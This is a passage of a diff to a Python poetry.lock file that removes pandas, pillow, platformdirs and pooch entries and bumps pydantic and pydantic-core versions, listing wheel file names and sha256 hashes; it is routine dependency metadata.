{file = "pandas-2.3.3-cp314-cp314-win_amd64.whl", hash = "sha256:1b07204a219b3b7350abaae088f451860223a52cfb8a6c53358e7948735158e5"},
|
||||
{file = "pandas-2.3.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:2462b1a365b6109d275250baaae7b760fd25c726aaca0054649286bcfbb3e8ec"},
|
||||
{file = "pandas-2.3.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:0242fe9a49aa8b4d78a4fa03acb397a58833ef6199e9aa40a95f027bb3a1b6e7"},
|
||||
{file = "pandas-2.3.3-cp314-cp314t-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a21d830e78df0a515db2b3d2f5570610f5e6bd2e27749770e8bb7b524b89b450"},
|
||||
{file = "pandas-2.3.3-cp314-cp314t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2e3ebdb170b5ef78f19bfb71b0dc5dc58775032361fa188e814959b74d726dd5"},
|
||||
{file = "pandas-2.3.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:d051c0e065b94b7a3cea50eb1ec32e912cd96dba41647eb24104b6c6c14c5788"},
|
||||
{file = "pandas-2.3.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:3869faf4bd07b3b66a9f462417d0ca3a9df29a9f6abd5d0d0dbab15dac7abe87"},
|
||||
{file = "pandas-2.3.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:c503ba5216814e295f40711470446bc3fd00f0faea8a086cbc688808e26f92a2"},
|
||||
{file = "pandas-2.3.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:a637c5cdfa04b6d6e2ecedcb81fc52ffb0fd78ce2ebccc9ea964df9f658de8c8"},
|
||||
{file = "pandas-2.3.3-cp39-cp39-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:854d00d556406bffe66a4c0802f334c9ad5a96b4f1f868adf036a21b11ef13ff"},
|
||||
{file = "pandas-2.3.3-cp39-cp39-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:bf1f8a81d04ca90e32a0aceb819d34dbd378a98bf923b6398b9a3ec0bf44de29"},
|
||||
{file = "pandas-2.3.3-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:23ebd657a4d38268c7dfbdf089fbc31ea709d82e4923c5ffd4fbd5747133ce73"},
|
||||
{file = "pandas-2.3.3-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:5554c929ccc317d41a5e3d1234f3be588248e61f08a74dd17c9eabb535777dc9"},
|
||||
{file = "pandas-2.3.3-cp39-cp39-win_amd64.whl", hash = "sha256:d3e28b3e83862ccf4d85ff19cf8c20b2ae7e503881711ff2d534dc8f761131aa"},
|
||||
{file = "pandas-2.3.3.tar.gz", hash = "sha256:e05e1af93b977f7eafa636d043f9f94c7ee3ac81af99c13508215942e64c993b"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
numpy = [
|
||||
{version = ">=1.23.2", markers = "python_version == \"3.11\""},
|
||||
{version = ">=1.26.0", markers = "python_version >= \"3.12\""},
|
||||
]
|
||||
python-dateutil = ">=2.8.2"
|
||||
pytz = ">=2020.1"
|
||||
tzdata = ">=2022.7"
|
||||
|
||||
[package.extras]
|
||||
all = ["PyQt5 (>=5.15.9)", "SQLAlchemy (>=2.0.0)", "adbc-driver-postgresql (>=0.8.0)", "adbc-driver-sqlite (>=0.8.0)", "beautifulsoup4 (>=4.11.2)", "bottleneck (>=1.3.6)", "dataframe-api-compat (>=0.1.7)", "fastparquet (>=2022.12.0)", "fsspec (>=2022.11.0)", "gcsfs (>=2022.11.0)", "html5lib (>=1.1)", "hypothesis (>=6.46.1)", "jinja2 (>=3.1.2)", "lxml (>=4.9.2)", "matplotlib (>=3.6.3)", "numba (>=0.56.4)", "numexpr (>=2.8.4)", "odfpy (>=1.4.1)", "openpyxl (>=3.1.0)", "pandas-gbq (>=0.19.0)", "psycopg2 (>=2.9.6)", "pyarrow (>=10.0.1)", "pymysql (>=1.0.2)", "pyreadstat (>=1.2.0)", "pytest (>=7.3.2)", "pytest-xdist (>=2.2.0)", "python-calamine (>=0.1.7)", "pyxlsb (>=1.0.10)", "qtpy (>=2.3.0)", "s3fs (>=2022.11.0)", "scipy (>=1.10.0)", "tables (>=3.8.0)", "tabulate (>=0.9.0)", "xarray (>=2022.12.0)", "xlrd (>=2.0.1)", "xlsxwriter (>=3.0.5)", "zstandard (>=0.19.0)"]
|
||||
aws = ["s3fs (>=2022.11.0)"]
|
||||
clipboard = ["PyQt5 (>=5.15.9)", "qtpy (>=2.3.0)"]
|
||||
compression = ["zstandard (>=0.19.0)"]
|
||||
computation = ["scipy (>=1.10.0)", "xarray (>=2022.12.0)"]
|
||||
consortium-standard = ["dataframe-api-compat (>=0.1.7)"]
|
||||
excel = ["odfpy (>=1.4.1)", "openpyxl (>=3.1.0)", "python-calamine (>=0.1.7)", "pyxlsb (>=1.0.10)", "xlrd (>=2.0.1)", "xlsxwriter (>=3.0.5)"]
|
||||
feather = ["pyarrow (>=10.0.1)"]
|
||||
fss = ["fsspec (>=2022.11.0)"]
|
||||
gcp = ["gcsfs (>=2022.11.0)", "pandas-gbq (>=0.19.0)"]
|
||||
hdf5 = ["tables (>=3.8.0)"]
|
||||
html = ["beautifulsoup4 (>=4.11.2)", "html5lib (>=1.1)", "lxml (>=4.9.2)"]
|
||||
mysql = ["SQLAlchemy (>=2.0.0)", "pymysql (>=1.0.2)"]
|
||||
output-formatting = ["jinja2 (>=3.1.2)", "tabulate (>=0.9.0)"]
|
||||
parquet = ["pyarrow (>=10.0.1)"]
|
||||
performance = ["bottleneck (>=1.3.6)", "numba (>=0.56.4)", "numexpr (>=2.8.4)"]
|
||||
plot = ["matplotlib (>=3.6.3)"]
|
||||
postgresql = ["SQLAlchemy (>=2.0.0)", "adbc-driver-postgresql (>=0.8.0)", "psycopg2 (>=2.9.6)"]
|
||||
pyarrow = ["pyarrow (>=10.0.1)"]
|
||||
spss = ["pyreadstat (>=1.2.0)"]
|
||||
sql-other = ["SQLAlchemy (>=2.0.0)", "adbc-driver-postgresql (>=0.8.0)", "adbc-driver-sqlite (>=0.8.0)"]
|
||||
test = ["hypothesis (>=6.46.1)", "pytest (>=7.3.2)", "pytest-xdist (>=2.2.0)"]
|
||||
xml = ["lxml (>=4.9.2)"]
|
||||
|
||||
[[package]]
|
||||
name = "pillow"
|
||||
version = "12.0.0"
|
||||
description = "Python Imaging Library (fork)"
|
||||
optional = false
|
||||
python-versions = ">=3.10"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "pillow-12.0.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:3adfb466bbc544b926d50fe8f4a4e6abd8c6bffd28a26177594e6e9b2b76572b"},
|
||||
{file = "pillow-12.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:1ac11e8ea4f611c3c0147424eae514028b5e9077dd99ab91e1bd7bc33ff145e1"},
|
||||
{file = "pillow-12.0.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d49e2314c373f4c2b39446fb1a45ed333c850e09d0c59ac79b72eb3b95397363"},
|
||||
{file = "pillow-12.0.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c7b2a63fd6d5246349f3d3f37b14430d73ee7e8173154461785e43036ffa96ca"},
|
||||
{file = "pillow-12.0.0-cp310-cp310-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d64317d2587c70324b79861babb9c09f71fbb780bad212018874b2c013d8600e"},
|
||||
{file = "pillow-12.0.0-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d77153e14b709fd8b8af6f66a3afbb9ed6e9fc5ccf0b6b7e1ced7b036a228782"},
|
||||
{file = "pillow-12.0.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:32ed80ea8a90ee3e6fa08c21e2e091bba6eda8eccc83dbc34c95169507a91f10"},
|
||||
{file = "pillow-12.0.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:c828a1ae702fc712978bda0320ba1b9893d99be0badf2647f693cc01cf0f04fa"},
|
||||
{file = "pillow-12.0.0-cp310-cp310-win32.whl", hash = "sha256:bd87e140e45399c818fac4247880b9ce719e4783d767e030a883a970be632275"},
|
||||
{file = "pillow-12.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:455247ac8a4cfb7b9bc45b7e432d10421aea9fc2e74d285ba4072688a74c2e9d"},
|
||||
{file = "pillow-12.0.0-cp310-cp310-win_arm64.whl", hash = "sha256:6ace95230bfb7cd79ef66caa064bbe2f2a1e63d93471c3a2e1f1348d9f22d6b7"},
|
||||
{file = "pillow-12.0.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:0fd00cac9c03256c8b2ff58f162ebcd2587ad3e1f2e397eab718c47e24d231cc"},
|
||||
{file = "pillow-12.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a3475b96f5908b3b16c47533daaa87380c491357d197564e0ba34ae75c0f3257"},
|
||||
{file = "pillow-12.0.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:110486b79f2d112cf6add83b28b627e369219388f64ef2f960fef9ebaf54c642"},
|
||||
{file = "pillow-12.0.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:5269cc1caeedb67e6f7269a42014f381f45e2e7cd42d834ede3c703a1d915fe3"},
|
||||
{file = "pillow-12.0.0-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:aa5129de4e174daccbc59d0a3b6d20eaf24417d59851c07ebb37aeb02947987c"},
|
||||
{file = "pillow-12.0.0-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:bee2a6db3a7242ea309aa7ee8e2780726fed67ff4e5b40169f2c940e7eb09227"},
|
||||
{file = "pillow-12.0.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:90387104ee8400a7b4598253b4c406f8958f59fcf983a6cea2b50d59f7d63d0b"},
|
||||
{file = "pillow-12.0.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:bc91a56697869546d1b8f0a3ff35224557ae7f881050e99f615e0119bf934b4e"},
|
||||
{file = "pillow-12.0.0-cp311-cp311-win32.whl", hash = "sha256:27f95b12453d165099c84f8a8bfdfd46b9e4bda9e0e4b65f0635430027f55739"},
|
||||
{file = "pillow-12.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:b583dc9070312190192631373c6c8ed277254aa6e6084b74bdd0a6d3b221608e"},
|
||||
{file = "pillow-12.0.0-cp311-cp311-win_arm64.whl", hash = "sha256:759de84a33be3b178a64c8ba28ad5c135900359e85fb662bc6e403ad4407791d"},
|
||||
{file = "pillow-12.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:53561a4ddc36facb432fae7a9d8afbfaf94795414f5cdc5fc52f28c1dca90371"},
|
||||
{file = "pillow-12.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:71db6b4c1653045dacc1585c1b0d184004f0d7e694c7b34ac165ca70c0838082"},
|
||||
{file = "pillow-12.0.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:2fa5f0b6716fc88f11380b88b31fe591a06c6315e955c096c35715788b339e3f"},
|
||||
{file = "pillow-12.0.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:82240051c6ca513c616f7f9da06e871f61bfd7805f566275841af15015b8f98d"},
|
||||
{file = "pillow-12.0.0-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:55f818bd74fe2f11d4d7cbc65880a843c4075e0ac7226bc1a23261dbea531953"},
|
||||
{file = "pillow-12.0.0-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b87843e225e74576437fd5b6a4c2205d422754f84a06942cfaf1dc32243e45a8"},
|
||||
{file = "pillow-12.0.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:c607c90ba67533e1b2355b821fef6764d1dd2cbe26b8c1005ae84f7aea25ff79"},
|
||||
{file = "pillow-12.0.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:21f241bdd5080a15bc86d3466a9f6074a9c2c2b314100dd896ac81ee6db2f1ba"},
|
||||
{file = "pillow-12.0.0-cp312-cp312-win32.whl", hash = "sha256:dd333073e0cacdc3089525c7df7d39b211bcdf31fc2824e49d01c6b6187b07d0"},
|
||||
{file = "pillow-12.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:9fe611163f6303d1619bbcb653540a4d60f9e55e622d60a3108be0d5b441017a"},
|
||||
{file = "pillow-12.0.0-cp312-cp312-win_arm64.whl", hash = "sha256:7dfb439562f234f7d57b1ac6bc8fe7f838a4bd49c79230e0f6a1da93e82f1fad"},
|
||||
{file = "pillow-12.0.0-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:0869154a2d0546545cde61d1789a6524319fc1897d9ee31218eae7a60ccc5643"},
|
||||
{file = "pillow-12.0.0-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:a7921c5a6d31b3d756ec980f2f47c0cfdbce0fc48c22a39347a895f41f4a6ea4"},
|
||||
{file = "pillow-12.0.0-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:1ee80a59f6ce048ae13cda1abf7fbd2a34ab9ee7d401c46be3ca685d1999a399"},
|
||||
{file = "pillow-12.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:c50f36a62a22d350c96e49ad02d0da41dbd17ddc2e29750dbdba4323f85eb4a5"},
|
||||
{file = "pillow-12.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:5193fde9a5f23c331ea26d0cf171fbf67e3f247585f50c08b3e205c7aeb4589b"},
|
||||
{file = "pillow-12.0.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:bde737cff1a975b70652b62d626f7785e0480918dece11e8fef3c0cf057351c3"},
|
||||
{file = "pillow-12.0.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:a6597ff2b61d121172f5844b53f21467f7082f5fb385a9a29c01414463f93b07"},
|
||||
{file = "pillow-12.0.0-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0b817e7035ea7f6b942c13aa03bb554fc44fea70838ea21f8eb31c638326584e"},
|
||||
{file = "pillow-12.0.0-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f4f1231b7dec408e8670264ce63e9c71409d9583dd21d32c163e25213ee2a344"},
|
||||
{file = "pillow-12.0.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:6e51b71417049ad6ab14c49608b4a24d8fb3fe605e5dfabfe523b58064dc3d27"},
|
||||
{file = "pillow-12.0.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:d120c38a42c234dc9a8c5de7ceaaf899cf33561956acb4941653f8bdc657aa79"},
|
||||
{file = "pillow-12.0.0-cp313-cp313-win32.whl", hash = "sha256:4cc6b3b2efff105c6a1656cfe59da4fdde2cda9af1c5e0b58529b24525d0a098"},
|
||||
{file = "pillow-12.0.0-cp313-cp313-win_amd64.whl", hash = "sha256:4cf7fed4b4580601c4345ceb5d4cbf5a980d030fd5ad07c4d2ec589f95f09905"},
|
||||
{file = "pillow-12.0.0-cp313-cp313-win_arm64.whl", hash = "sha256:9f0b04c6b8584c2c193babcccc908b38ed29524b29dd464bc8801bf10d746a3a"},
|
||||
{file = "pillow-12.0.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:7fa22993bac7b77b78cae22bad1e2a987ddf0d9015c63358032f84a53f23cdc3"},
|
||||
{file = "pillow-12.0.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:f135c702ac42262573fe9714dfe99c944b4ba307af5eb507abef1667e2cbbced"},
|
||||
{file = "pillow-12.0.0-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:c85de1136429c524e55cfa4e033b4a7940ac5c8ee4d9401cc2d1bf48154bbc7b"},
|
||||
{file = "pillow-12.0.0-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:38df9b4bfd3db902c9c2bd369bcacaf9d935b2fff73709429d95cc41554f7b3d"},
|
||||
{file = "pillow-12.0.0-cp313-cp313t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7d87ef5795da03d742bf49439f9ca4d027cde49c82c5371ba52464aee266699a"},
|
||||
{file = "pillow-12.0.0-cp313-cp313t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:aff9e4d82d082ff9513bdd6acd4f5bd359f5b2c870907d2b0a9c5e10d40c88fe"},
|
||||
{file = "pillow-12.0.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:8d8ca2b210ada074d57fcee40c30446c9562e542fc46aedc19baf758a93532ee"},
|
||||
{file = "pillow-12.0.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:99a7f72fb6249302aa62245680754862a44179b545ded638cf1fef59befb57ef"},
|
||||
{file = "pillow-12.0.0-cp313-cp313t-win32.whl", hash = "sha256:4078242472387600b2ce8d93ade8899c12bf33fa89e55ec89fe126e9d6d5d9e9"},
|
||||
{file = "pillow-12.0.0-cp313-cp313t-win_amd64.whl", hash = "sha256:2c54c1a783d6d60595d3514f0efe9b37c8808746a66920315bfd34a938d7994b"},
|
||||
{file = "pillow-12.0.0-cp313-cp313t-win_arm64.whl", hash = "sha256:26d9f7d2b604cd23aba3e9faf795787456ac25634d82cd060556998e39c6fa47"},
|
||||
{file = "pillow-12.0.0-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:beeae3f27f62308f1ddbcfb0690bf44b10732f2ef43758f169d5e9303165d3f9"},
|
||||
{file = "pillow-12.0.0-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:d4827615da15cd59784ce39d3388275ec093ae3ee8d7f0c089b76fa87af756c2"},
|
||||
{file = "pillow-12.0.0-cp314-cp314-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:3e42edad50b6909089750e65c91aa09aaf1e0a71310d383f11321b27c224ed8a"},
|
||||
{file = "pillow-12.0.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:e5d8efac84c9afcb40914ab49ba063d94f5dbdf5066db4482c66a992f47a3a3b"},
|
||||
{file = "pillow-12.0.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:266cd5f2b63ff316d5a1bba46268e603c9caf5606d44f38c2873c380950576ad"},
|
||||
{file = "pillow-12.0.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:58eea5ebe51504057dd95c5b77d21700b77615ab0243d8152793dc00eb4faf01"},
|
||||
{file = "pillow-12.0.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:f13711b1a5ba512d647a0e4ba79280d3a9a045aaf7e0cc6fbe96b91d4cdf6b0c"},
|
||||
{file = "pillow-12.0.0-cp314-cp314-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6846bd2d116ff42cba6b646edf5bf61d37e5cbd256425fa089fee4ff5c07a99e"},
|
||||
{file = "pillow-12.0.0-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c98fa880d695de164b4135a52fd2e9cd7b7c90a9d8ac5e9e443a24a95ef9248e"},
|
||||
{file = "pillow-12.0.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:fa3ed2a29a9e9d2d488b4da81dcb54720ac3104a20bf0bd273f1e4648aff5af9"},
|
||||
{file = "pillow-12.0.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:d034140032870024e6b9892c692fe2968493790dd57208b2c37e3fb35f6df3ab"},
|
||||
{file = "pillow-12.0.0-cp314-cp314-win32.whl", hash = "sha256:1b1b133e6e16105f524a8dec491e0586d072948ce15c9b914e41cdadd209052b"},
|
||||
{file = "pillow-12.0.0-cp314-cp314-win_amd64.whl", hash = "sha256:8dc232e39d409036af549c86f24aed8273a40ffa459981146829a324e0848b4b"},
|
||||
{file = "pillow-12.0.0-cp314-cp314-win_arm64.whl", hash = "sha256:d52610d51e265a51518692045e372a4c363056130d922a7351429ac9f27e70b0"},
|
||||
{file = "pillow-12.0.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:1979f4566bb96c1e50a62d9831e2ea2d1211761e5662afc545fa766f996632f6"},
|
||||
{file = "pillow-12.0.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:b2e4b27a6e15b04832fe9bf292b94b5ca156016bbc1ea9c2c20098a0320d6cf6"},
|
||||
{file = "pillow-12.0.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:fb3096c30df99fd01c7bf8e544f392103d0795b9f98ba71a8054bcbf56b255f1"},
|
||||
{file = "pillow-12.0.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:7438839e9e053ef79f7112c881cef684013855016f928b168b81ed5835f3e75e"},
|
||||
{file = "pillow-12.0.0-cp314-cp314t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5d5c411a8eaa2299322b647cd932586b1427367fd3184ffbb8f7a219ea2041ca"},
|
||||
{file = "pillow-12.0.0-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d7e091d464ac59d2c7ad8e7e08105eaf9dafbc3883fd7265ffccc2baad6ac925"},
|
||||
{file = "pillow-12.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:792a2c0be4dcc18af9d4a2dfd8a11a17d5e25274a1062b0ec1c2d79c76f3e7f8"},
|
||||
{file = "pillow-12.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:afbefa430092f71a9593a99ab6a4e7538bc9eabbf7bf94f91510d3503943edc4"},
|
||||
{file = "pillow-12.0.0-cp314-cp314t-win32.whl", hash = "sha256:3830c769decf88f1289680a59d4f4c46c72573446352e2befec9a8512104fa52"},
|
||||
{file = "pillow-12.0.0-cp314-cp314t-win_amd64.whl", hash = "sha256:905b0365b210c73afb0ebe9101a32572152dfd1c144c7e28968a331b9217b94a"},
|
||||
{file = "pillow-12.0.0-cp314-cp314t-win_arm64.whl", hash = "sha256:99353a06902c2e43b43e8ff74ee65a7d90307d82370604746738a1e0661ccca7"},
|
||||
{file = "pillow-12.0.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:b22bd8c974942477156be55a768f7aa37c46904c175be4e158b6a86e3a6b7ca8"},
|
||||
{file = "pillow-12.0.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:805ebf596939e48dbb2e4922a1d3852cfc25c38160751ce02da93058b48d252a"},
|
||||
{file = "pillow-12.0.0-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:cae81479f77420d217def5f54b5b9d279804d17e982e0f2fa19b1d1e14ab5197"},
|
||||
{file = "pillow-12.0.0-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:aeaefa96c768fc66818730b952a862235d68825c178f1b3ffd4efd7ad2edcb7c"},
|
||||
{file = "pillow-12.0.0-pp311-pypy311_pp73-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:09f2d0abef9e4e2f349305a4f8cc784a8a6c2f58a8c4892eea13b10a943bd26e"},
|
||||
{file = "pillow-12.0.0-pp311-pypy311_pp73-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:bdee52571a343d721fb2eb3b090a82d959ff37fc631e3f70422e0c2e029f3e76"},
|
||||
{file = "pillow-12.0.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:b290fd8aa38422444d4b50d579de197557f182ef1068b75f5aa8558638b8d0a5"},
|
||||
{file = "pillow-12.0.0.tar.gz", hash = "sha256:87d4f8125c9988bfbed67af47dd7a953e2fc7b0cc1e7800ec6d2080d490bb353"},
|
||||
]
|
||||
|
||||
[package.extras]
|
||||
docs = ["furo", "olefile", "sphinx (>=8.2)", "sphinx-autobuild", "sphinx-copybutton", "sphinx-inline-tabs", "sphinxext-opengraph"]
|
||||
fpx = ["olefile"]
|
||||
mic = ["olefile"]
|
||||
test-arrow = ["arro3-compute", "arro3-core", "nanoarrow", "pyarrow"]
|
||||
tests = ["check-manifest", "coverage (>=7.4.2)", "defusedxml", "markdown2", "olefile", "packaging", "pyroma (>=5)", "pytest", "pytest-cov", "pytest-timeout", "pytest-xdist", "trove-classifiers (>=2024.10.12)"]
|
||||
xmp = ["defusedxml"]
|
||||
|
||||
[[package]]
|
||||
name = "platformdirs"
|
||||
version = "4.5.0"
|
||||
description = "A small Python package for determining appropriate platform-specific dirs, e.g. a `user data dir`."
|
||||
optional = false
|
||||
python-versions = ">=3.10"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "platformdirs-4.5.0-py3-none-any.whl", hash = "sha256:e578a81bb873cbb89a41fcc904c7ef523cc18284b7e3b3ccf06aca1403b7ebd3"},
|
||||
{file = "platformdirs-4.5.0.tar.gz", hash = "sha256:70ddccdd7c99fc5942e9fc25636a8b34d04c24b335100223152c2803e4063312"},
|
||||
]
|
||||
|
||||
[package.extras]
|
||||
docs = ["furo (>=2025.9.25)", "proselint (>=0.14)", "sphinx (>=8.2.3)", "sphinx-autodoc-typehints (>=3.2)"]
|
||||
test = ["appdirs (==1.4.4)", "covdefaults (>=2.3)", "pytest (>=8.4.2)", "pytest-cov (>=7)", "pytest-mock (>=3.15.1)"]
|
||||
type = ["mypy (>=1.18.2)"]
|
||||
|
||||
[[package]]
|
||||
name = "pluggy"
|
||||
version = "1.6.0"
|
||||
@@ -954,43 +348,21 @@ files = [
|
||||
dev = ["pre-commit", "tox"]
|
||||
testing = ["coverage", "pytest", "pytest-benchmark"]
|
||||
|
||||
[[package]]
|
||||
name = "pooch"
|
||||
version = "1.8.2"
|
||||
description = "A friend to fetch your data files"
|
||||
optional = false
|
||||
python-versions = ">=3.7"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "pooch-1.8.2-py3-none-any.whl", hash = "sha256:3529a57096f7198778a5ceefd5ac3ef0e4d06a6ddaf9fc2d609b806f25302c47"},
|
||||
{file = "pooch-1.8.2.tar.gz", hash = "sha256:76561f0de68a01da4df6af38e9955c4c9d1a5c90da73f7e40276a5728ec83d10"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
packaging = ">=20.0"
|
||||
platformdirs = ">=2.5.0"
|
||||
requests = ">=2.19.0"
|
||||
|
||||
[package.extras]
|
||||
progress = ["tqdm (>=4.41.0,<5.0.0)"]
|
||||
sftp = ["paramiko (>=2.7.0)"]
|
||||
xxhash = ["xxhash (>=1.4.3)"]
|
||||
|
||||
[[package]]
|
||||
name = "pydantic"
|
||||
version = "2.12.3"
|
||||
version = "2.12.5"
|
||||
description = "Data validation using Python type hints"
|
||||
optional = false
|
||||
python-versions = ">=3.9"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "pydantic-2.12.3-py3-none-any.whl", hash = "sha256:6986454a854bc3bc6e5443e1369e06a3a456af9d339eda45510f517d9ea5c6bf"},
|
||||
{file = "pydantic-2.12.3.tar.gz", hash = "sha256:1da1c82b0fc140bb0103bc1441ffe062154c8d38491189751ee00fd8ca65ce74"},
|
||||
{file = "pydantic-2.12.5-py3-none-any.whl", hash = "sha256:e561593fccf61e8a20fc46dfc2dfe075b8be7d0188df33f221ad1f0139180f9d"},
|
||||
{file = "pydantic-2.12.5.tar.gz", hash = "sha256:4d351024c75c0f085a9febbb665ce8c0c6ec5d30e903bdb6394b7ede26aebb49"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
annotated-types = ">=0.6.0"
|
||||
pydantic-core = "2.41.4"
|
||||
pydantic-core = "2.41.5"
|
||||
typing-extensions = ">=4.14.1"
|
||||
typing-inspection = ">=0.4.2"
|
||||
|
||||
@@ -1000,129 +372,133 @@ timezone = ["tzdata ; python_version >= \"3.9\" and platform_system == \"Windows
|
||||
|
||||
[[package]]
|
||||
name = "pydantic-core"
|
||||
version = "2.41.4"
|
||||
version = "2.41.5"
|
||||
description = "Core functionality for Pydantic validation and serialization"
|
||||
optional = false
|
||||
python-versions = ">=3.9"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "pydantic_core-2.41.4-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:2442d9a4d38f3411f22eb9dd0912b7cbf4b7d5b6c92c4173b75d3e1ccd84e36e"},
|
||||
{file = "pydantic_core-2.41.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:30a9876226dda131a741afeab2702e2d127209bde3c65a2b8133f428bc5d006b"},
|
||||
{file = "pydantic_core-2.41.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d55bbac04711e2980645af68b97d445cdbcce70e5216de444a6c4b6943ebcccd"},
|
||||
